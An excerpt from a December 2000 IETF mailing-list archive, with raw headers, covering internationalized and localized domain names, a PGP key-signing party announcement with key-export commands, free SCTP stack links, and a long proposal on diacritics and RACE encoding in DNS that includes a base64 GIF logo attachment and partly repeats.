detect that a domain name part is using a non ascii > >>encoding, so that DNS servers don't get lost. > > > >Why not just use UTF-8? It is an encoding of the UCS (aka > >Unicode/ISO 10646), the encoding is fully compatible with > >ASCII (all 7-bit bytes are ASCII and only ASCII), and it > >is IETF policy (RFC 2277). > > All, > > Please MOVE this conversation to the IDN WG list, > where it would be in scope. Btw, this specific question > has been raised and answered several times now on the IDN list. > I encourage folks to read the sundry IDN proposals before > diving in any deeper here. IDN is the perfect place for repeated silly conversation like above. But it is not the place to discuss localized domain name, which has nothing to do with internationalization. Masataka Ohta From owner-ietf-outbound Tue Dec 5 13:01:04 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA23435 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 13:00:01 -0500 (EST) Received: from snap.thunk.org (IDENT:root@SNAP.THUNK.ORG [216.175.175.173]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA22855 for ; Tue, 5 Dec 2000 12:55:22 -0500 (EST) Received: (from tytso@localhost) by snap.thunk.org (8.11.0/8.11.0) id eB5HtK817170; Tue, 5 Dec 2000 12:55:21 -0500 Date: Tue, 5 Dec 2000 12:55:21 -0500 Message-Id: <200012051755.eB5HtK817170@snap.thunk.org> To: ietf@ietf.org Subject: IETF PGP Key Signing Party for San Diego From: tytso@mit.edu Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 X-Loop: ietf@ietf.org Once again, we will be holding a PGP Key signing party at the IETF meeting in San Diego. We have been scheduled to meet at 10:30pm on the evening of Wednesday, December 13, 2000 in the Marina 6. The procedure we will use is the following: o People who wish to participate should email an ASCII extract of their PGP public key to by noon on Wednesday, December 13, 2000. Please include a subject line of "IETF PGP KEY", and please avoid MIME-encrypting your e-mail. (I will be running the emacs RMAIL file through PGP, and PGP-keys that are base-64 encoded will get ignored unless I take manual action to fix things, which I will try to do but make no guarantees about doing.) The method of generating the ASCII extract under Unix is: pgp -kxa my_email_address mykey.asc (pgp 2.6.2) pgpk -xa my_email_address > mykey.asc (pgp 5.x) gpg --export -a my_email_address > mykey.asc (gpg) If you're using Windows or Macintosh, hopefully it will be Intuitively Obvious (tm) using the GUI interface how to generate an ASCII armored key that begins "-----BEGIN PGP PUBLIC KEY BLOCK-----". o By 6pm on Wednesday, you will be able to fetch complete key ring from the following URL with all of the keys that were submitted: http://web.mit.edu/tytso/www/ietf.pgp o At 10:30pm, come prepared with the PGP Key fingerprint of your PGP public key; we will have handouts with all of the key fingerprints of the keys that people have mailed in. o In turn, readers at the front of the room will recite people's keys; as your key fingerprint is read, stand up, and at the end of reading of your PGP key fingerprint, acknowledge that the fingerprint as read was correct. o Later that evening, or perhaps when you get home, you can sign the keys corresponding to the fingerprints which you were able to verify on the handout; note that it is advisable that you only sign keys of people when you have personal knowledge that the person who stood up during the reading of his/her fingerprint really is the person which he/she claimed to be. o Submit the keys you have signed to the PGP keyservers. A good one to use is the one at MIT: simply send mail containing the ascii armored version of your PGP public key to . Note that you don't have to have a laptop with you; if you don't have any locally trusted computing resources during the key signing party, you can make notes on the handout, and then take the handout home and sign the keys later. - Ted From owner-ietf-outbound Tue Dec 5 13:11:04 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA26362 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 13:10:02 -0500 (EST) Received: from beamer.mchh.siemens.de (beamer.mchh.siemens.de [194.138.158.163]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA22862 for ; Tue, 5 Dec 2000 12:55:27 -0500 (EST) Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226]) by beamer.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id SAA05837; Tue, 5 Dec 2000 18:54:51 +0100 (MET) Received: from icn.siemens.de ([139.21.8.154]) by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id SAA28730; Tue, 5 Dec 2000 18:55:25 +0100 (MET) Message-ID: <3A2D2C03.44FEA67B@icn.siemens.de> Date: Tue, 05 Dec 2000 18:55:15 +0100 From: Maximilian Riegel X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: "Randall R. Stewart" CC: "Thakare, Kiran" , ietf@ietf.org Subject: Re: SCTP Protocol stack References: <3190BC9FA8F6D3119508009027E5B33E1CD9AD@MORSE> <3A2CE3E1.4CD5A43B@stewart.chicago.il.us> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit "Randall R. Stewart" wrote: > You can also get a free SCTP stack that is full featured and > runs in user space. It is quite sound and is being maintained > and updated ... at: > > http://www.sctp.chicago.il.us There is another free SCTP stack (under GPL) available on the web: You will find it at: http://www.sctp.de Bye Max From owner-ietf-outbound Tue Dec 5 19:24:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA20431 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 19:23:01 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA18453 for ; Tue, 5 Dec 2000 19:06:10 -0500 (EST) Received: from hq.lindsayelec.com ([216.129.40.27]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Tue, 5 Dec 2000 19:06:14 -0500 Received: FROM new BY hq.lindsayelec.com ; Tue Dec 05 19:06:11 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_976067897==_" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Diacritical application in the DNS Cc: paf@cisco.com, duerst@W3.ORG, vcerf@MCI.NET X-Attachments: C:\MYDOCU~1\KJALL.GIF; Date: Tue, 5 Dec 2000 19:06:14 -0500 Message-ID: <20001206000614117.AAA324@hq.lindsayelec.com@hq.lindsayelec.com> X-Loop: ietf@ietf.org --=====================_976067897==_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Greetings, Martin Duerst duerst@w3.org said: It might be usable as a poor man's ASCII equivalent,=20 but I strongly doubt that anybody will want to have it on the Latin side of their name card. Patrik paf@cisco.com said: I would, because I know that people in many parts of the world don't=20 know how to enter "s=F6mos" on their keyboard, and if I register the=20 domain "sn=F6mos.se", I really want people to be able to get to ...I know that people in many parts of the world don't=20 know how to enter "s=F6mos" on their keyboard, and if I register the=20 domain "sn=F6mos.se", I really want people to be able to get to http://www.sn=F6mos.se So, if I think it is perfectly all right to have http://www.bq--abzw55tnn5zq.se - - - - - - - - - - - - - - - - - - Dan Kolis dank@hq.lindsayelec.com says: Now we are getting down to the nuts and bolts of the feeling something's not too great in this basket of goodies. http://www.sn=F6mos.se Conceptually and maybe in some jurisdictions obligates: http://www.snomos.se And the obverse is true. Dealing with even a rudimentary understanding of human factors implies these two have a mapping to each other. So: http://www.sn=F6mos.se <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>= http://www.snomos.se Entity one Entity two Where the symbol <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D> means "common= destiny". This is reversible in that one existing creates issues in the real world for the other. In some purely theoretical space, there is no problem at all. This is repaired by: http://www.bq--abzw55tnn5zq.se=20 Being a unique mapping of Entity one. The suggestion Patrik paf@cisco.com made to have: http://www.bq--abzw55tnn5zq.se Appear as a pseudonym of Entity one human readable printed correspondence defeats the purpose of having a DNS. A dotted IP address is easier to use and less error prone than a completely non-readable hex dump like entry. 123.34.56.67 has got to be easier to enter than www.bq--abzw55tnn5zq.se My question to Patrik is, (Q1) when your non diacritical capable (potential) user enters: http://www.snomos.se and hopes for the best, is it ok if they get your site?=20 (Q2) Is it ok if the more savvy user entering this, if they get the same= site? http://www.sn=F6mos.se (Q3) Are you will to pay for two domain names to make this happen? The major reason ICANN jumped on internationalizing the DNS is political correctness, not convenience to anyone, include those who's sole or favored language is represented poorly in the existing system. Now, the suggestion has been posed that this is not an IETF or "Internet intelligentsia" issue, and ICANN or whoever can fight the trench warfare; e.g.: battle cybersquatters hoping for entry errors, etc to make it work. Well, some things can't be legislated into functionality, they can just be made to work badly in a different way. For example, the Virginia legislature decided, "for the purposes of Commerce", decided 175 years ago to Fix Pi at 3.1 This did not change the relationship of circumference to diameter. Working with the <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D> mapping can be= achieved by many methods: 1) Blame non-technocrats for being computer illiterate, and ignore their complaints. 2) Blame non-linguists for being language illiterate, for not understanding the idiosyncrasies of 2500 languages. 3) Make certain things neo-illegal; (UDRP says 'no') to some domain names because other like it exist. Ex. diacritical marks aside, they are 'the= same'. 4) Use tort type 'law' to create liability for whoever is Nth (second, third, etc) creating a misunderstanding. 5) Create DNS resolver software, which encodes human misunderstandings and returns IP's based on some hierarchy of likeliness when an Entity (we are already contaminating what constitutes an URN, URL) is not found. 6) Presenting redundancies to users; (as in Patrik's workaround). Give them more to poke with, hoping they gett what they want. via some trial and= error. -------------- I may have missed a coping mechanism above, but its easy to see a problem with each of those. Since ICANN is such a new agency, the exuberance to "do the right thing" is powerful, and the community should understand the good intentions behind the proclamation. I have thought about this and have a suggested way to proceed which has a pretty slim chance of being applied, (due mostly to timing, the thinking here is probably frozen). If this was suggested early on, it would seem the obvious way to proceed instead of trouble. Anyway, this is it: Dan1) Carry all diacritical marks in non-ideographic languages and make a simple 1:1 mapping to ignore them for comparison purposes. RACE remapping is not used. RR entries can be in any human readable language as well. So for example:=20 This is an existing Icelandic ice cream vendor: http://www.kjoris.is/ Now I risk discomfort for the anti-social act of attaching a 4K gif. Its tiny, sorry to inconvenience you if either you hate attachments via email reflectors, or if it's blocked. It's a slightly stylized logo for these ice cream guys in Icelandic. This is my pieced together version of their logo including diacritical marks unfamiliar to me. The closest I can get with a French Canadian setup under a Microsoft OS is: Kj=F6r=EDs Fine. as a matter of principle I try it now: http://www.Kj=F6r=EDs.is/ And just to be sure: http://Kj=F6r=EDs.is/ Both don't find this in the DNS, I get: "The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings." as the human readable for this. I think that this should work. Do you think the marketing manager agrees? I will *more* than bet they do; (I will Email them and ask). Did you notice the period above the lower case i is an accent? Ok. Since I was looking at a stylized logo, I wasn't sure how to code the diacritical mark over the i. If you decide to leap upon me as a total moron; (as per reason 2 above), I say; "Apparently your Icelandic is better than mine", next time we meet let's conduct 100% of the session in ASL [AKA sign language] with my apologies"). Point being; we all know bits of other languages; but no one knows all of all the other languages! While seeking the program at Verisign to remap the above, I thought the URL for the ICANN announcement might be useful to revisit. It is: http://www.icann.org/announcements/icann-pr03nov00.htm The conversion tool lives at: http://mct.verisign-grs.com/ So entering the existing URL gets us: Input String Utf-8 www.kjoris.is=20 Prepared String Utf-8 www.kjoris.is=20 Registration String RACE www.kjoris.is=20 and the carefully guessed at one: Input String Utf-8 www.Kj=F6r=EDs.is=20 Prepared String Utf-8 www.kj=F6r=EDs.is=20 Registration String RACE www.bq--abvwv5ts5vzq.is=20 So, depending on how the protocol is implemented, I could get: "The requested URL could not be retrieved While trying to retrieve the URL: http://www.bq--abvwv5ts5vzq.is The following error was encountered:=20 Invalid URL " Hmmm, maybe I should just ask for help at: postmaster@bq--abvwv5ts5vzq.is via email! {Sorry} So further; Dan2) Languages substantially distant from the Utf-8 "prehistory before the 21st century" use the RACE mapping. Revisiting the ICANN Announcement at: http://www.icann.org/announcements/icann-pr03nov00.htm "For several months, a working group of the Internet Engineering Task Force (IETF) has been working to develop a standard specifying the requirements for internationalized access to domain names. This standard, when it is completed, will extend the operation of the Internet's Domain Name System (DNS) to character sets other than ASCII (the only character set currently supported) such as Arabic, Chinese, Japanese, Korean, Portuguese, the Scandinavian languages, and Spanish. Several experimental testbeds are in operation or have been announced. These testbeds are testing a variety of approaches under consideration by the IETF working group, but are part of a common commitment to converge on whatever standard solution is ultimately adopted. These developments, which could bring very significant changes to the way the DNS can be used, have attracted remarkably little public notice." So two things occur to me; (Last thing first). "Remarkably little notice", is an understatement to say the least. Everyone with whom I discuss Internet knows about adding new TLD domain names. Not one seems to understand this initiative. Most respond with: Huh? Why? What's this going to cost domain holders? Looking at this short list of: Arabic, Chinese, Japanese, Korean, Portuguese, and the Scandinavian languages, Spanish. I guess the "Scandinavian languages" didn't warrant breaking any of them out by name, so let's assume this is all phased in over time. Leaving off languages with UTF-8 inclusion that still don't let diacritical marks work is interesting. There is actually low hanging fruit to yield on this initiative before conquering the hard stuff. Anyway: Hangul=3DKorean Partial inclusion list where diacritical marks are carried; (e.g., Unicode, whatever) and boiled down to a best efforts subset: English, Portuguese, Italian, French, German, (these are examples, bear with me). So we could basically write these reductionist rules in a day or two. Since they are known imperfect, they can only be compromises, anyway. Examples: =9C :=3D oe =C6 :=3D AE =C7 :=3D C =DF :=3D B =DD :=3D Y =FD :=3D y Now there are hard choices in all of this. For example, the handling of case in Yugoslavian for "y", "Y", "j", "J", is so dissimilar to other languages you wonder how long it takes the kids to get through second grade over there. So, maybe some simple remapping will bother them. But since all the visual characteristics are completely, totally preserved in my scheme, they only have to care if an URL doesn't resolve. They get a choice between wondering what happened to: http://januara.org Thinking it should be smart enough to try: http://Yanuara.org But the alternative is an error pointing to a RACE encoded DNS bounce: {Actually, the Verisign program returns: "internal error for this!"} =9Fanuara =3D internal error back to my example..... bq--ad6wc3tvmfzgc.org not found in DNS ----------- Partial inclusion list for encoding in RACE form: Chinese, Japanese, Hangul, Arabic, etc The tears of the Comp Sci guy: Now the computer scientist in too many of us howls! Arbitrary! This cannot be! No, actually it isn't and it, paradoxically, does not require knowing, blessing, believing or condemning and particular human printed language. In the total absence of an encoding requiring RACE, there are only two possibilities: 1) its is UTF-8 without modification. 2) The equivalence table as per above applies. So if I decide to have a domain name:=20 dinosaur dunce_hat Tilden Red_spot Double_umlaut_birdseed Omega_psi (dot COM, I mean, we have to make a living here you know). It lands in this big RACE pot and boils up a RACE string and there you go.=20 Sorry again this is so long and even worse, includes an attachment. I also want to say I appreciate the efforts of those designing all this stuff and there is a natural repugnance to having someone outside butt in I can just about feel. However, you're designing something that's supposed to be used by a lot of people who has a vested interest in whether it works, want it to just work, and no interest in how it works. I think its possible to make it look right AND work right. Someone more in daily contact with managing the DNS can perhaps help me on this. Only registrars handing a remapping; (not just RACE) who are the SOA would have to change software... is that right? If that's not the case my suggestion is in the best interests of end users, but hard to do.=20 Complex, yet interesting. Regards, Dan Kolis --=====================_976067897==_ Content-Type: image/gif; name="KJALL.GIF"; x-mac-type="47494666"; x-mac-creator="4A565752" Content-Disposition: attachment; filename="KJALL.GIF" Content-Transfer-Encoding: base64 R0lGODdhyABxAPcAAAAAAAAAQAAAgAAA/wAgAAAgQAAggAAg/wBAAABAQABAgABA/wBgAABgQABg gABg/wCAAACAQACAgACA/wCgAACgQACggACg/wDAAADAQADAgADA/wD/AAD/QAD/gAD//yAAACAA QCAAgCAA/yAgACAgQCAggCAg/yBAACBAQCBAgCBA/yBgACBgQCBggCBg/yCAACCAQCCAgCCA/yCg ACCgQCCggCCg/yDAACDAQCDAgCDA/yD/ACD/QCD/gCD//0AAAEAAQEAAgEAA/0AgAEAgQEAggEAg /0BAAEBAQEBAgEBA/0BgAEBgQEBggEBg/0CAAECAQECAgECA/0CgAECgQECggECg/0DAAEDAQEDA gEDA/0D/AED/QED/gED//2AAAGAAQGAAgGAA/2AgAGAgQGAggGAg/2BAAGBAQGBAgGBA/2BgAGBg QGBggGBg/2CAAGCAQGCAgGCA/2CgAGCgQGCggGCg/2DAAGDAQGDAgGDA/2D/AGD/QGD/gGD//4AA AIAAQIAAgIAA/4AgAIAgQIAggIAg/4BAAIBAQIBAgIBA/4BgAIBgQIBggIBg/4CAAICAQICAgICA /4CgAICgQICggICg/4DAAIDAQIDAgIDA/4D/AID/QID/gID//6AAAKAAQKAAgKAA/6AgAKAgQKAg gKAg/6BAAKBAQKBAgKBA/6BgAKBgQKBggKBg/6CAAKCAQKCAgKCA/6CgAKCgQKCggKCg/6DAAKDA QKDAgKDA/6D/AKD/QKD/gKD//8AAAMAAQMAAgMAA/8AgAMAgQMAggMAg/8BAAMBAQMBAgMBA/8Bg AMBgQMBggMBg/8CAAMCAQMCAgMCA/8CgAMCgQMCggMCg/8DAAMDAQMDAgMDA/8D/AMD/QMD/gMD/ //8AAP8AQP8AgP8A//8gAP8gQP8ggP8g//9AAP9AQP9AgP9A//9gAP9gQP9ggP9g//+AAP+AQP+A gP+A//+gAP+gQP+ggP+g///AAP/AQP/AgP/A////AP//QP//gP///yH5BAAAAAAALAAAAADIAHEA AAj/ADcJHEiwoMGDCBMK3MWwocOHECNKnEix4kOFGDNu+sexo8ePIEOKHNlRo8mTAy2qXMmyJUSU J0nKnEmTI8ybB13q3MkzIk6FNYMKLfkTZ8+jSHcWNTi0Kc2lKJNKnboSqkCnWEdazUi1q9eJULOK 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 --=====================_976067897==_-- From owner-ietf-outbound Tue Dec 5 19:29:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA21334 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 19:28:20 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA18453 for ; Tue, 5 Dec 2000 19:06:10 -0500 (EST) Received: from hq.lindsayelec.com ([216.129.40.27]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Tue, 5 Dec 2000 19:06:14 -0500 Received: FROM new BY hq.lindsayelec.com ; Tue Dec 05 19:06:11 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_976067897==_" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Diacritical application in the DNS Cc: paf@cisco.com, duerst@W3.ORG, vcerf@MCI.NET X-Attachments: C:\MYDOCU~1\KJALL.GIF; Date: Tue, 5 Dec 2000 19:06:14 -0500 Message-ID: <20001206000614117.AAA324@hq.lindsayelec.com@hq.lindsayelec.com> X-Loop: ietf@ietf.org --=====================_976067897==_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Greetings, Martin Duerst duerst@w3.org said: It might be usable as a poor man's ASCII equivalent,=20 but I strongly doubt that anybody will want to have it on the Latin side of their name card. Patrik paf@cisco.com said: I would, because I know that people in many parts of the world don't=20 know how to enter "s=F6mos" on their keyboard, and if I register the=20 domain "sn=F6mos.se", I really want people to be able to get to ...I know that people in many parts of the world don't=20 know how to enter "s=F6mos" on their keyboard, and if I register the=20 domain "sn=F6mos.se", I really want people to be able to get to http://www.sn=F6mos.se So, if I think it is perfectly all right to have http://www.bq--abzw55tnn5zq.se - - - - - - - - - - - - - - - - - - Dan Kolis dank@hq.lindsayelec.com says: Now we are getting down to the nuts and bolts of the feeling something's not too great in this basket of goodies. http://www.sn=F6mos.se Conceptually and maybe in some jurisdictions obligates: http://www.snomos.se And the obverse is true. Dealing with even a rudimentary understanding of human factors implies these two have a mapping to each other. So: http://www.sn=F6mos.se <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>= http://www.snomos.se Entity one Entity two Where the symbol <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D> means "common= destiny". This is reversible in that one existing creates issues in the real world for the other. In some purely theoretical space, there is no problem at all. This is repaired by: http://www.bq--abzw55tnn5zq.se=20 Being a unique mapping of Entity one. The suggestion Patrik paf@cisco.com made to have: http://www.bq--abzw55tnn5zq.se Appear as a pseudonym of Entity one human readable printed correspondence defeats the purpose of having a DNS. A dotted IP address is easier to use and less error prone than a completely non-readable hex dump like entry. 123.34.56.67 has got to be easier to enter than www.bq--abzw55tnn5zq.se My question to Patrik is, (Q1) when your non diacritical capable (potential) user enters: http://www.snomos.se and hopes for the best, is it ok if they get your site?=20 (Q2) Is it ok if the more savvy user entering this, if they get the same= site? http://www.sn=F6mos.se (Q3) Are you will to pay for two domain names to make this happen? The major reason ICANN jumped on internationalizing the DNS is political correctness, not convenience to anyone, include those who's sole or favored language is represented poorly in the existing system. Now, the suggestion has been posed that this is not an IETF or "Internet intelligentsia" issue, and ICANN or whoever can fight the trench warfare; e.g.: battle cybersquatters hoping for entry errors, etc to make it work. Well, some things can't be legislated into functionality, they can just be made to work badly in a different way. For example, the Virginia legislature decided, "for the purposes of Commerce", decided 175 years ago to Fix Pi at 3.1 This did not change the relationship of circumference to diameter. Working with the <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D> mapping can be= achieved by many methods: 1) Blame non-technocrats for being computer illiterate, and ignore their complaints. 2) Blame non-linguists for being language illiterate, for not understanding the idiosyncrasies of 2500 languages. 3) Make certain things neo-illegal; (UDRP says 'no') to some domain names because other like it exist. Ex. diacritical marks aside, they are 'the= same'. 4) Use tort type 'law' to create liability for whoever is Nth (second, third, etc) creating a misunderstanding. 5) Create DNS resolver software, which encodes human misunderstandings and returns IP's based on some hierarchy of likeliness when an Entity (we are already contaminating what constitutes an URN, URL) is not found. 6) Presenting redundancies to users; (as in Patrik's workaround). Give them more to poke with, hoping they gett what they want. via some trial and= error. -------------- I may have missed a coping mechanism above, but its easy to see a problem with each of those. Since ICANN is such a new agency, the exuberance to "do the right thing" is powerful, and the community should understand the good intentions behind the proclamation. I have thought about this and have a suggested way to proceed which has a pretty slim chance of being applied, (due mostly to timing, the thinking here is probably frozen). If this was suggested early on, it would seem the obvious way to proceed instead of trouble. Anyway, this is it: Dan1) Carry all diacritical marks in non-ideographic languages and make a simple 1:1 mapping to ignore them for comparison purposes. RACE remapping is not used. RR entries can be in any human readable language as well. So for example:=20 This is an 